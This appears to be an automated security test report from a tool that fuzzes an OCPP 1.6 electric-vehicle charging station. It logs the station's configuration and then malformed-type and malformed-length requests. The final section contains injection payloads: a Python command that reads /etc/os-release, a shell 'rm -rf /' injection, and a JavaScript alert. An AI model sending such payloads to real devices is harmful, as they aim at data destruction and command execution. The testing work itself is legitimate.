TEST REPORT

No Charge Point Protocol (NOCPP)

This application is used to identify vulnerabilities in the OCPP charging point protocol. The aim of the application is information gathering and the detection of vulnerabilities that indicate a faulty implementation of the protocol in the charging station. For example, the behavior is tested for fuzzing (sending deliberately false data).

Table of Contents

1. Configuration

1.1 General

Parameter	Value
Boot Timestamp	2024-09-07 23:38:47.898703
(NOCPP) Software Version	1.0
(OCPP) Protocol Version (JSON)	ocpp1.6
Session Identification Number	nocpp-report-g1l4i

1.2 WebSocket

Parameter	Value
(Portal) IPv4 Address	10.8.0.46
(Portal) Port number	9000

2. Information Gathering

2.1 BootNotification

Parameter	Value
Charge Point Vendor	Weidmueller
Charge Point Model	ACSMART
charge_point_serial_number	AX3722EM1100041
firmware_version	01.05.00

2.2 GetConfiguration

Key	Read only	Value
WebSocketPingInterval	False	60
ConnectionTimeOut	False	30
ConnectorMaximumCurrent	False	16
HeartbeatInterval	False	10
MeterValueSampleInterval	False	60
NumberOfConnectors	True	1
TransactionMessageAttempts	False	5
TransactionMessageRetryInterval	False	60
ClockAlignedDataInterval	True	0
GetConfigurationMaxKeys	True	29
LocalAuthorizeOffline	True	false
LocalPreAuthorize	True	true
MeterValuesAlignedData	True	
MeterValuesSampledData	True	Voltage.L1,Voltage.L2,Voltage.L3,Current.Import.L1,Current.Import.L2,Current.Import.L3,Current.Offered,Energy.Active.Import.Register,Power.Active.Import,Temperature
ResetRetries	True	0
ConnectorPhaseRotation	True	NotApplicable

StopTransactionOnEVSideDisconnect	True	true
StopTransactionOnInvalidId	True	false
StopTxnAlignedData	True	
StopTxnSampledData	True	
SupportedFeatureProfiles	True	Core, Smart Charging
UnlockConnectorOnEVSideDisconnect	True	true
AuthorizeRemoteTxRequests	True	false
ReserveConnectorZeroSupported	True	false
ChargeProfileMaxStackLevel	True	9
ChargingScheduleAllowedChargingRateUnit	True	Current
ChargingScheduleMaxPeriods	True	10
ConnectorSwitch3to1PhaseSupported	True	0
MaxChargingProfilesInstalled	True	10

3. Attack: False DataType

3.1 Correct request (Integer)

Parameter	Value
Event	UnlockConnector
Payload	1
Type	<class 'int'>
Request	UnlockConnector(connector_id=1)
Response (OK)	UnlockConnector(status='Unlocked')

3.2 Manipulated request #1 (String)

Parameter	Value
Event	UnlockConnector
Payload	1
Type	<class 'str'>
Request	UnlockConnector(connector_id='1')
Response (ERROR)	TypeConstraintViolationError: Payload for Action is syntactically correct but at least one of the fields violates data type constraints (e.g. “somestring”: 12), {'cause': "'1' is not of type 'integer'", 'ocpp_message': }

3.3 Manipulated request #2 (Float)

Parameter	Value
Event	UnlockConnector
Payload	1.0
Type	<class 'float'>
Request	UnlockConnector(connector_id=1.0)

Response (ERROR)	TypeConstraintViolationError: Payload for Action is syntactically correct but at least one of the fields violates data type constraints (e.g. “somestring”: 12), {'cause': "1.0 is not of type 'integer'", 'ocpp_message': }

4. Attack: False DataLength

4.1 Correct request

Parameter	Value
Event	CancelReservation
Payload	1
Type	<class 'int'>
Request	CancelReservation(reservation_id=1)
Response (OK)	CancelReservation(status='Rejected')

4.2 Manipulated request #1 (Max Size Integer)

Parameter	Value
Event	CancelReservation
Payload	9223372036854775807
Type	<class 'int'>
Request	CancelReservation(reservation_id=9223372036854775807)
Response (OK)	CancelReservation(status='Rejected')

4.3 Manipulated request #2 (Random Long String)

Parameter	Value
Event	CancelReservation
Payload	TbA2hFdgn8TgJba2wMUM1GVBWShcTmQZM04B453bQ1o7zG4SOzE1wTOAtF1ReBMr8Yz3cmw0JCoioBKycE6cmAe7j8WmdNBgtf2A1c7OaMyF1kHO6HUedjZ8gSd9lVvysx6uV4hX4NB10VkqfZ9m1sUAySvILrUlnOlucFEoUI7g4CiV9Ao0rOLciLRfdgKs46IZAlUKrsYHbnQkToHbiTHeykIqfluYjKQrbiYeGZhzgWpofk5jk29wV7KvnZYEBiyYhglUburXXlT2PHwsycF14jPBRN4Zm9QbNPQgvkfVpXs0M96OiYNGkXG2fdcSe8VkIEx1IcMaYpgzpnBbtyIWYjCaJxRDRuwi3R4h3vi2kTL50RNX
Type	<class 'str'>

Request	CancelReservation(reservation_id='TbA2hFdgn8TgJba2wMUM1GVBWShcTmQZM04B453bQ1o7zG4SOzE1wTOAtF1ReBMr8Yz3cmw0JCoioBKycE6cmAe7j8WmdNBgtf2A1c7OaMyF1kHO6HUedjZ8gSd9lVvysx6uV4hX4NB10VkqfZ9m1sUAySvILrUlnOlucFEoUI7g4CiV9Ao0rOLciLRfdgKs46IZAlUKrsYHbnQkToHbiTHeykIqfluYjKQrbiYeGZhzgWpofk5jk29wV7KvnZYEBiyYhglUburXXlT2PHwsycF14jPBRN4Zm9QbNPQgvkfVpXs0M96OiYNGkXG2fdcSe8VkIEx1IcMaYpgzpnBbtyIWYjCaJxRDRuwi3R4h3vi2kTL50RNX')
Response (ERROR)	TypeConstraintViolationError: Payload for Action is syntactically correct but at least one of the fields violates data type constraints (e.g. “somestring”: 12), {'cause': '"TbA2hFdgn8TgJba2wMUM1GVBWShcTmQZM04B453bQ1o7zG4SOzE1wTOAtF1ReBMr8Yz3cmw0JCoioBKycE6cmAe7j8WmdNBgtf2A1c7OaMyF1kHO6HUedjZ8gSd9lVvysx6uV4hX4NB10VkqfZ9m1sUAySvILrUlnOlucFEoUI7g4CiV9Ao0rOLciLRfdgKs46IZAlUKrsYHbnQkToHbiTHeykIqfluYjKQrbiYeGZhzgWpofk5jk29wV7KvnZYEBiyYhglUburXXlT2PHwsycF14jPBRN4Zm9QbNPQgvkfVpXs0M96OiYNGkXG2fdcSe8VkIEx1IcMaYpgzpnBbtyIWYjCaJxRDRuwi3R4h3vi2kTL50RNX' is not of type 'integer'", 'ocpp_message': }

4.4 Manipulated request #3 (Empty String)

Parameter	Value
Event	CancelReservation
Payload	0
Type	<class 'str'>
Request	CancelReservation(reservation_id='0')
Response (ERROR)	TypeConstraintViolationError: Payload for Action is syntactically correct but at least one of the fields violates data type constraints (e.g. “somestring”: 12), {'cause': '"0' is not of type 'integer"', 'ocpp_message': }

5. Attack: False DataValue

5.1 Correct request

Parameter	Value
Event	CancelReservation
Payload	1
Type	<class 'int'>
Request	CancelReservation(reservation_id=1)
Response (OK)	CancelReservation(status='Rejected')

5.2 Manipulated request #1 (Negative Integer)

Parameter	Value
Event	CancelReservation
Payload	-1
Type	<class 'int'>
Request	CancelReservation(reservation_id=-1)
Response (OK)	CancelReservation(status='Rejected')

6. Attack: Code Injection / Cross-Site-Scripting

6.1 Python code injection (OS detection)

Parameter	Value
Event	GetDiagnostics
Payload	__import__('os').system('cat /etc/os-release')
Type	<class 'str'>
Request	RemoteStartTransaction(id_tag="__import__('os').system('cat /etc/os-release')", connector_id=None, charging_profile=None)
Response (ERROR)	TypeConstraintViolationError: Payload for Action is syntactically correct but at least one of the fields violates data type constraints (e.g. “somestring”: 12), {'cause': '"__import__(\'os\').system(\'cat /etc/os-release\')" is too long', 'ocpp_message': }

6.2 Shell injection (Delete File System)

Parameter	Value
Event	GetDiagnostics
Payload	`; rm -rf /`
Type	<class 'str'>
Request	RemoteStartTransaction(id_tag='`; rm -rf /`', connector_id=None, charging_profile=None)
Response (OK)	RemoteStartTransaction(status='Rejected')

6.3 Cross-Site-Scripting (CSS)

Parameter	Value
Event	GetDiagnostics
Payload	alert('Cross-Site-Scripting' + ' ' + 'works!')
Type	<class 'str'>
Request	RemoteStartTransaction(id_tag="alert('Cross-Site-Scripting' + ' ' + 'works!')", connector_id=None, charging_profile=None)

Response (ERROR)	TypeConstraintViolationError: Payload for Action is syntactically correct but at least one of the fields violates data type constraints (e.g. “somestring”: 12), {'cause': '"alert(\'Cross-Site-Scripting\' + \' \' + \'works!\')" is too long', 'ocpp_message': alert('Cross-Site-Scripting' + ' ' + 'works!')"}>}